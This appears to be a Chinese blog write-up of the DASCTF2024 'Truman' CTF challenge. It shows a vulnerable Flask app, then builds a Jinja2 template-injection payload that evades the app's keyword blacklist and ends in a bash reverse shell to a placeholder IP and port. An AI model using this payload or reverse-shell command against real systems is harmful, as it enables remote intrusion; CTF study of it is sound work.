DASCTF2024 Truman WEB题解

556次阅读
没有评论

共计2789个字符,预计需要花费7分钟才能阅读完成。

题目

BUUCTF 上看到的一道题,题目源码如下(获得权限后扒下来的):

DASCTF2024 Truman WEB 题解
from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    try:
        iname = request.form.get('code')
        bl = ['_', '.', '\\', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']',"class", "arg", "form", "value", "data", "request", "init", "global", "popen", "mro", "base","cat" ,'flag', 'getitem', 'read', 'os']
        for i in bl:
            if i in iname:
                return render_template_string("Oops,it's not a name\nWhy your name contains so much invalid punctuation and keywords?")
        return render_template_string("Hello %s,\nIn case I don't see you,good afternoon,good evening and good night" % iname)
    except:
        assert "Sorry,I don't know what you mean"

if __name__ == '__main__':
    app.run(host='0.0.0.0')

思路

刚开始打开网页时这样的:

DASCTF2024 Truman WEB 题解

输入随便一串字符,点击 Click 就会显示出来,很明显这里可能存在模板注入。

显示网页源码:


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Truman Show</title>
    <script type="text/javascript" src="/static/js/jquery.min.js"></script>
    <script type="text/javascript" src="/static/js/bootstrap.min.js"></script>
    <link rel="stylesheet" href="/static/css/app.css" type="text/css">
</head>
<body>
    <div class="title">
        <h1>Enter you name:</h1>
    </div>
    <div class="main">
        <form method="POST" onsubmit="return ssti()">
        <input id="borderDemo" type="text" name="code">
        <button class="btn">Click</button>
    </form>
    </div>
    <br/>
    <pre style="text-align: center;" id="iname">
                    </pre>
    <script>
        function ssti() {
            $.post({
                url: `/`,
                contentType: "application/x-www-form-urlencoded",
                data: `code=${encodeURIComponent($("input[name='code']").val())}`,
                success: iname => {$("#iname").html(iname)
                }
            });
            return false
        }
    </script>
</body>
</html>

/ 提交 POST 数据 code={{4*4}} 发现回显了16,证明存在模板注入。

尝试构造 __import__('os').system(''),测试后发现."_\等等都不能使用了。\意味着我们不能使用 unicode 和 16 进制绕过。

我们可以用 |attr() 来绕过 .,关键语句可以用chr() 函数来绕过。由于 eval() 函数测试没有被关键字检测,因此可以尝试用他来执行命令。

先获得 chr() 函数:

lipsum.__globals__.get('__builtins__').__getitem__('chr')

但是要绕过 .__globals__等等关键字,因此改成:

# 获得 __globals__ 字符
{%set glo=(xia,xia,dict(glo=a,bals=a)|join,xia,xia)|join%}
# 获得 __builtins__ 字符
{%set built=(xia,xia,dict(buil=a,tins=a)|join,xia,xia)|join%}
# 获得 __getitem__ 字符
{%set geite=(xia,xia,dict(ge=a,tit=a,em=a)|join,xia,xia)|join%}
# 获得 builtins 内置方法
{%set a=(lipsum|attr(glo))|attr('get')(built)%}
# 获得 chr() 函数
{%set chr=a|attr(geite)('chr')%}

再获得 eval() 函数,也在内置函数里面,因此只要:

a|attr(geite)('eval')(' 命令内容 ')

命令内容用 chr() 加密即可,最终构造PayLoad

{%set glo=(xia,xia,dict(glo=a,bals=a)|join,xia,xia)|join%}
{%set built=(xia,xia,dict(buil=a,tins=a)|join,xia,xia)|join%}
{%set a=(lipsum|attr(glo))|attr('get')(built)%}
{%set geite=(xia,xia,dict(ge=a,tit=a,em=a)|join,xia,xia)|join%}
{%set chr=a|attr(geite)('chr')%}
{{a|attr(geite)('eval')
  (__import__('os').system("bash -c 'exec bash -i >& /dev/tcp/ 你的 IP 地址 / 你的端口 0>&1 2>&1'")
  )
}}

其中 __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/ 你的 IP 地址 / 你的端口 0>&1 2>&1'") 改成 chr(95)~chr(95)~chr(105)~chr(109) 等等 即可。

正文完
 0
评论(没有评论)
验证码
zh_CN简体中文